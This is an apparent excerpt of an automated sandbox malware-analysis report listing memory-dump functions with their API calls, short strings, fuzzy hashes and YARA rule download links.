Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570418813.0000000001260000.00000040.00000010.sdmp, Offset: 01260000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d62cc34019d8f9ae4a23b31c51fafc52a6b1dc3dd96ea706a773418c71f0a15
Instruction ID: 8cbc843e9281ca6c99e23fd92a75a65da8f2cd070e705240171d2472a90bab22
Opcode Fuzzy Hash: 3d62cc34019d8f9ae4a23b31c51fafc52a6b1dc3dd96ea706a773418c71f0a15
Instruction Fuzzy Hash: 3511E135738154CFCB148A3894416ED33FAEBC8311B144475C646CB3A9EA71ECA18B53

Uniqueness

Uniqueness Score: -1.00%

Function 013DF603, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 013DFB0B

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ee41ab8657fba18e19d71be8bcc533bbc4a19fd27d14fdd081e6819a3b8dc821
Instruction ID: 4aa8f49fe357b0924ec71ffe1089e0ea6492c996c267150a31c272b9b4af0651
Opcode Fuzzy Hash: ee41ab8657fba18e19d71be8bcc533bbc4a19fd27d14fdd081e6819a3b8dc821
Instruction Fuzzy Hash: ADF0B8B340C24FCBF2164A30B0E8AF26BECAF0A20CF01581A94AB44C0283A04913CF93

Uniqueness

Uniqueness Score: -1.00%

Function 013DF605, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 013DFB0B

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c95ebb6494ba26b3c875be86988cee008d728cd0c0f38b65f2abcb5da795043e
Instruction ID: 5ba3bee033a813241457c80e1fb7e840eee3c0d1ee02f7f1e98c201073ebddc4
Opcode Fuzzy Hash: c95ebb6494ba26b3c875be86988cee008d728cd0c0f38b65f2abcb5da795043e
Instruction Fuzzy Hash: 2BF082B344D64FDBF255457474D46F267DCAF0E21CF001916945744C01C39059538F53

Uniqueness

Uniqueness Score: -1.00%

Function 013DFA78, Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 013DFB0B

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 68a06f450239155acfd8598f5dfc3e1968a721801d3c71966f2428cadbf13f98
Instruction ID: aa65fb6e95c335605858acd1af296f3488e86d54c33dda3c2ce99918610f15ce
Opcode Fuzzy Hash: 68a06f450239155acfd8598f5dfc3e1968a721801d3c71966f2428cadbf13f98
Instruction Fuzzy Hash: DBF0EDB348D60FDBE2554A70B4D49F6B7ACAB0E21CF004929D45755C01D3A05D53CF92

Uniqueness

Uniqueness Score: -1.00%

Function 013E2D57, Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(00000000,000DB5A8,?,00000000,?,00000000,?,?,?,?,?,013E1A09), ref: 013E2D72

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 299dd292d8a99e6559d637aa70c953f144ca51ebc064d8ad98646de50a94bd10
Instruction ID: 51503234364e41e070e8a5a0df9145f9eab48058928be4bef51e3cfd3147283d
Opcode Fuzzy Hash: 299dd292d8a99e6559d637aa70c953f144ca51ebc064d8ad98646de50a94bd10
Instruction Fuzzy Hash: 11F0302810DFEEDBC7164620851DAB7BFEC6F0210C7444899DAB79A892D60BA81A8761

Uniqueness

Uniqueness Score: -1.00%

Function 013E2D55, Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(00000000,000DB5A8,?,00000000,?,00000000,?,?,?,?,?,013E1A09), ref: 013E2D72

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6beaa21480fce9993808ee24d79e042d260b706b4f3c3b13985e7d5e3880eb4f
Instruction ID: 76d7a2010a277cadf52d5ea0ef7894a18eee153f61d4876ba945fe2b78d15156
Opcode Fuzzy Hash: 6beaa21480fce9993808ee24d79e042d260b706b4f3c3b13985e7d5e3880eb4f
Instruction Fuzzy Hash: DEF0302804CFEEDFC7224624851CBB7BFEC6F0310CB444895DAB79A8D2D75BA4168762

Uniqueness

Uniqueness Score: -1.00%

Function 013E2D5D, Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(00000000,000DB5A8,?,00000000,?,00000000,?,?,?,?,?,013E1A09), ref: 013E2D72

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6d72f98689ac05d2f61b6b4d292c69ac167d85d060384ea7d22933026715e3dc
Instruction ID: 23d03d9e5574cb3fa4f748d03ade0a2a4a7ac200e87d672bfd390cc46b5bb5c3
Opcode Fuzzy Hash: 6d72f98689ac05d2f61b6b4d292c69ac167d85d060384ea7d22933026715e3dc
Instruction Fuzzy Hash: 3CE09228009FEFDBC7124621851CBB7BFECAF0210CB544C99DEB796892D31AE816C791

Uniqueness

Uniqueness Score: -1.00%

Function 013DFA83, Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 013DFB0B

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: f8460cd7f885340eb3137615226f3c0921da698a635c03267300ee5203d5c81d
Instruction ID: cd941a081aac475363a41b33c3ac5127b696c06282b72ab13c6045d6b4572222
Opcode Fuzzy Hash: f8460cd7f885340eb3137615226f3c0921da698a635c03267300ee5203d5c81d
Instruction Fuzzy Hash: 1CE0BFB344D64FDBE155466074D49F2669C6B0E25CF004915956B55C01D39059538FA3

Uniqueness

Uniqueness Score: -1.00%

Function 013DFA9C, Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 013DFB0B

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8d5121df14808aff04081ec3888ac8e6b7463da5762ebc34cd0885c5f55c0e86
Instruction ID: 41d5f725b0155b0cbd2727bfdfbd951045024a2de54ed168486d3d632d562883
Opcode Fuzzy Hash: 8d5121df14808aff04081ec3888ac8e6b7463da5762ebc34cd0885c5f55c0e86
Instruction Fuzzy Hash: A9E0C27344C25FDFC343067078E89B23BAC5E0322C71600C2D003AA822CA681C13CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 013DFA87, Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 013DFB0B

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4e9b73c72c38cb49483499699d1210bb040833bb2587e073112a3d6408833fd3
Instruction ID: e583ead1d50d567676b5b09cc3c9fe764e16093dba11b1e5676c53d415f6a33a
Opcode Fuzzy Hash: 4e9b73c72c38cb49483499699d1210bb040833bb2587e073112a3d6408833fd3
Instruction Fuzzy Hash: CDE0DFB380C34EDFE21ACA70B5ED9F2BAAC6F0320CF000A0AD05399805C3601807CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 013DFAF7, Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 013DFB0B

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2313b2ad5d778e3363d901ad7f60d4286985aed49ed4ca5d0bfa075a32c78f0a
Instruction ID: d0552e2299f04ee1d6396a594c2f30eafb69d43fc62254d03dc79dbde68a773a
Opcode Fuzzy Hash: 2313b2ad5d778e3363d901ad7f60d4286985aed49ed4ca5d0bfa075a32c78f0a
Instruction Fuzzy Hash: 26D0A93310C48AEED260023178EA9B67EAE4E0320CB240481D6C392412C2109813C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 013DFB06, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 013DFB0B

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0e378bc6906624cfb81047fdedd0b6a5a918c27526756aa4e0d1a4d735daf2a8
Instruction ID: b7c47720c2a2502f0693dc7559972662db7e07cf155e408b07e6754da2e72351
Opcode Fuzzy Hash: 0e378bc6906624cfb81047fdedd0b6a5a918c27526756aa4e0d1a4d735daf2a8
Instruction Fuzzy Hash: 6AB01263504597CDE15455B834D857B2DAD0F2215CF004D02C953D9405C610CD035326

Uniqueness

Uniqueness Score: -1.00%

Function 0129B7D8, Relevance: 1.5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

Strings

xPGm, xrefs: 0129BA08

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID: xPGm
API String ID: 0-1867038200
Opcode ID: 12f5898676cf06d9689ece0893a25b9a7834b946634eaa35bec0526cde42989b
Instruction ID: 83a3c5ae5803d5edae87cda84b4e826f56367b253bde22dddee591346e7ba461
Opcode Fuzzy Hash: 12f5898676cf06d9689ece0893a25b9a7834b946634eaa35bec0526cde42989b
Instruction Fuzzy Hash: 0B818D347102058FDB15DB7CD459A6E7BF6AF89600B1580AAEA06DF3A6DF34DC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01278E17, Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

DKGm, xrefs: 01278EC3

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID: DKGm
API String ID: 0-3318134384
Opcode ID: 85be28e19d050a7ca93bf63eadb91d208389686fb3949c1ebeb5fb87ee14d088
Instruction ID: 37b3c6e5086bf88e8e836a8ce754df584f8fc1867ab9f0ab683efa4a73a9011d
Opcode Fuzzy Hash: 85be28e19d050a7ca93bf63eadb91d208389686fb3949c1ebeb5fb87ee14d088
Instruction Fuzzy Hash: D731E0357002114FCB15E77CA859BAE77F6DBC9604B11047AE609DB396DF34CC058792

Uniqueness

Uniqueness Score: -1.00%

Function 01291850, Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

cGm, xrefs: 01291A5E

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID: cGm
API String ID: 0-1205649788
Opcode ID: f6e0ea047483b659b0fa3e19158f0fc63c9fddfec16007c345912e577dbe02c2
Instruction ID: bafe42ca7727cb9c61f3f7029c8556c6bcbe87950a58336c6c8f4117e5dd336f
Opcode Fuzzy Hash: f6e0ea047483b659b0fa3e19158f0fc63c9fddfec16007c345912e577dbe02c2
Instruction Fuzzy Hash: 1C1173393101009FCB055BBCE40C9AD7BD6EB4836570448A6F10EC7761DF39CC519B84

Uniqueness

Uniqueness Score: -1.00%

Function 01292D78, Relevance: .4, Instructions: 403COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e78767d34c483119195dcdd04434e78037f33786d6b1fa98eb50bb16c04cc06
Instruction ID: 82a9fa9de0c623e5bb248402d9f0dff954ba6dd165cdcc76c271c839706f7939
Opcode Fuzzy Hash: 2e78767d34c483119195dcdd04434e78037f33786d6b1fa98eb50bb16c04cc06
Instruction Fuzzy Hash: 38128E34A05208CFCB29DFB1D19499DBB76FF49305B6089ADD406AB369CB3AAD41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01297938, Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd5fedf7596b3e074e13835c72959213a4741765adef8dc79c421fb5f5999e82
Instruction ID: 8cfe48f2401700a1b52877a4e81761b89d2ab773445d304ef824309474abd261
Opcode Fuzzy Hash: fd5fedf7596b3e074e13835c72959213a4741765adef8dc79c421fb5f5999e82
Instruction Fuzzy Hash: 3F025F35A10715CFDB15EF68C854A99BBB1FF49304F118699E949AB361EB30ED81CF80

Uniqueness

Uniqueness Score: -1.00%

Function 012938D0, Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea1d00d6fa320b379cf5e029c3c8f187b1498b1aafb799f6b3059b712aea8e2c
Instruction ID: abb9b217513fd82018d3883f26cf79b8fc8c8f5d0ecf09ea77833215e4287823
Opcode Fuzzy Hash: ea1d00d6fa320b379cf5e029c3c8f187b1498b1aafb799f6b3059b712aea8e2c
Instruction Fuzzy Hash: F7D1A934B102058FDF14EBBDC454AAEBBF2AF88214F15846AE905EB394EB74CC458B91

Uniqueness

Uniqueness Score: -1.00%

Function 01292938, Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c78b29dcd7029b5da335222b9e17fff42b959f43f2b79a81ee8a52b787eeb411
Instruction ID: 4e9abd1b2d64404d6de4bf5df9b8039ec918df4806f0b0df649bd57f03629b7d
Opcode Fuzzy Hash: c78b29dcd7029b5da335222b9e17fff42b959f43f2b79a81ee8a52b787eeb411
Instruction Fuzzy Hash: 96D18D34B102059FCB15DFB8C454AAEBBF6EF88304F108869E6469B3A1DB75DC46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0129671F, Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 958bb17cfdf0ef00bedcb55f01f875ff36d0137a9f8ccbaebdab4f59e2aabefe
Instruction ID: 5c1fd0412a5f0e07435311a79a64fbf0e86b1b006f24f7774f1daf56ead5aa7e
Opcode Fuzzy Hash: 958bb17cfdf0ef00bedcb55f01f875ff36d0137a9f8ccbaebdab4f59e2aabefe
Instruction Fuzzy Hash: 28C165726463419FCB029F7AD0090A577F5FF4732832841AED588CF9A6E7768893CB46

Uniqueness

Uniqueness Score: -1.00%

Function 01293EFF, Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aa5ca6964fc9635ee2ae612b4343b7a2f9459d72cc4ceb10637d778fe30e203
Instruction ID: dd86dffcaf69ceafbda094a8c9a16d7b68c1370233ef7054b4d13d88db139993
Opcode Fuzzy Hash: 3aa5ca6964fc9635ee2ae612b4343b7a2f9459d72cc4ceb10637d778fe30e203
Instruction Fuzzy Hash: 89C17C35B202059FCF15DF79D9449AEBBF2FF88200B158569E906DB365EB70EC428B90

Uniqueness

Uniqueness Score: -1.00%

Function 01294B88, Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e65235b8d998b4c78278f64c85c993d1075624bad489529fe260950fc7f3c9
Instruction ID: 9dc1981dffb15a13c19eb7e35827ab3b30a84b699146798b62b68216cee9a870
Opcode Fuzzy Hash: 05e65235b8d998b4c78278f64c85c993d1075624bad489529fe260950fc7f3c9
Instruction Fuzzy Hash: 1EC1ABB8A38901CBCF58CE5CF98ABA5B3F5EB403827018855E0628B752C7B8FC458B51

Uniqueness

Uniqueness Score: -1.00%

Function 0129D3D0, Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88d6aa434b8b2093be0827a995333d463a08b9f91f2fe0619ba855caa3080019
Instruction ID: 78db1f21961faa1a61487e623f65b0680abb4529012400fabb92a71bcac34af6
Opcode Fuzzy Hash: 88d6aa434b8b2093be0827a995333d463a08b9f91f2fe0619ba855caa3080019
Instruction Fuzzy Hash: 99B1E4356103059FCB48EFE8D8849DC77B6FF49304B828969D2499F262DB72EC59CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0129D408, Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdf55a7198df267d12ab50af77058ec7d68e0120676db99fc86b8fc7208926cb
Instruction ID: a13024123f135ec1585971ff93a33230c8891a43a54ceb42afb4b7bb4f678bad
Opcode Fuzzy Hash: fdf55a7198df267d12ab50af77058ec7d68e0120676db99fc86b8fc7208926cb
Instruction Fuzzy Hash: 29B1C3352103059FDB08EFE8D884A9C77B6FF49304B818869D64A9F261DB72EC59CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0129D3F8, Relevance: .3, Instructions: 291COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae0d20185e4f6750966ffda94a9256fbc314201ef51188aae4f548a0a2fb0499
Instruction ID: 2e2ab631e4354967d3a5f6c34c37c653caba44cbed661b24e6b6050b0c3320cb
Opcode Fuzzy Hash: ae0d20185e4f6750966ffda94a9256fbc314201ef51188aae4f548a0a2fb0499
Instruction Fuzzy Hash: 54B1D4352103059FDB48EFE8D88499C77B6FF49304B828869D2499F262DB72EC59CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0129845F, Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 111daaa42ba4c841eae95bb4762b5694d809054edce0b2048b65e2889deffb56
Instruction ID: 766e134b41ee54b804de31158bb99dee28f30d79a2082102fda7e4507ced8404
Opcode Fuzzy Hash: 111daaa42ba4c841eae95bb4762b5694d809054edce0b2048b65e2889deffb56
Instruction Fuzzy Hash: 35C15B34A1020ACFDB15DF78C894A99BBB1FF89300F1585A9D549AB356DB30ED85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0127DE20, Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4471c4b243aa0d5549b13502accc666ce6c097ea105329bfff3d9556f39793c3
Instruction ID: 0b9a2de562832cb26f8a976ce634b79f41fa593d64143370bb5f9ba9af382bf2
Opcode Fuzzy Hash: 4471c4b243aa0d5549b13502accc666ce6c097ea105329bfff3d9556f39793c3
Instruction Fuzzy Hash: 00A113303047528FC725EB7AC440AABB7F2BF89248B418D6DC5868BB51EB35EC05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01290F08, Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b83ad0a6babe745c4aa4638da7d204751ff747769ccdc2c5368ca82825b30ee
Instruction ID: fbc2ee485bd4ba0b53d153a73c2bed2d4cd78fbb0fe7958c2be4b87823dbf93b
Opcode Fuzzy Hash: 8b83ad0a6babe745c4aa4638da7d204751ff747769ccdc2c5368ca82825b30ee
Instruction Fuzzy Hash: 6381C075B102469FCB01EFBDC844AAEBBF6EF89310B10852AE909DB351DB31DD458B91

Uniqueness

Uniqueness Score: -1.00%

Function 01291E00, Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33e09c0d2b762c311a6c3221edeff8047337e5aac80440772bec4d439c0bfbce
Instruction ID: 1cc9854630c434279dd19b16c5d58f798137bed1c329aea12fad64fd4c7a8748
Opcode Fuzzy Hash: 33e09c0d2b762c311a6c3221edeff8047337e5aac80440772bec4d439c0bfbce
Instruction Fuzzy Hash: 01A10235A11209DFCB05DF69D488E99BBF2FF89324F158599E9059B362DB30EC84CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0127D3E0, Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9a9b7a596150b435ffdb12a2d47513472717a3217de572ba08986e9822164b5
Instruction ID: f065364f4b1d695dbc2e5be6fc5e300f642f5e3a90197539e71ddf3cfa760f39
Opcode Fuzzy Hash: d9a9b7a596150b435ffdb12a2d47513472717a3217de572ba08986e9822164b5
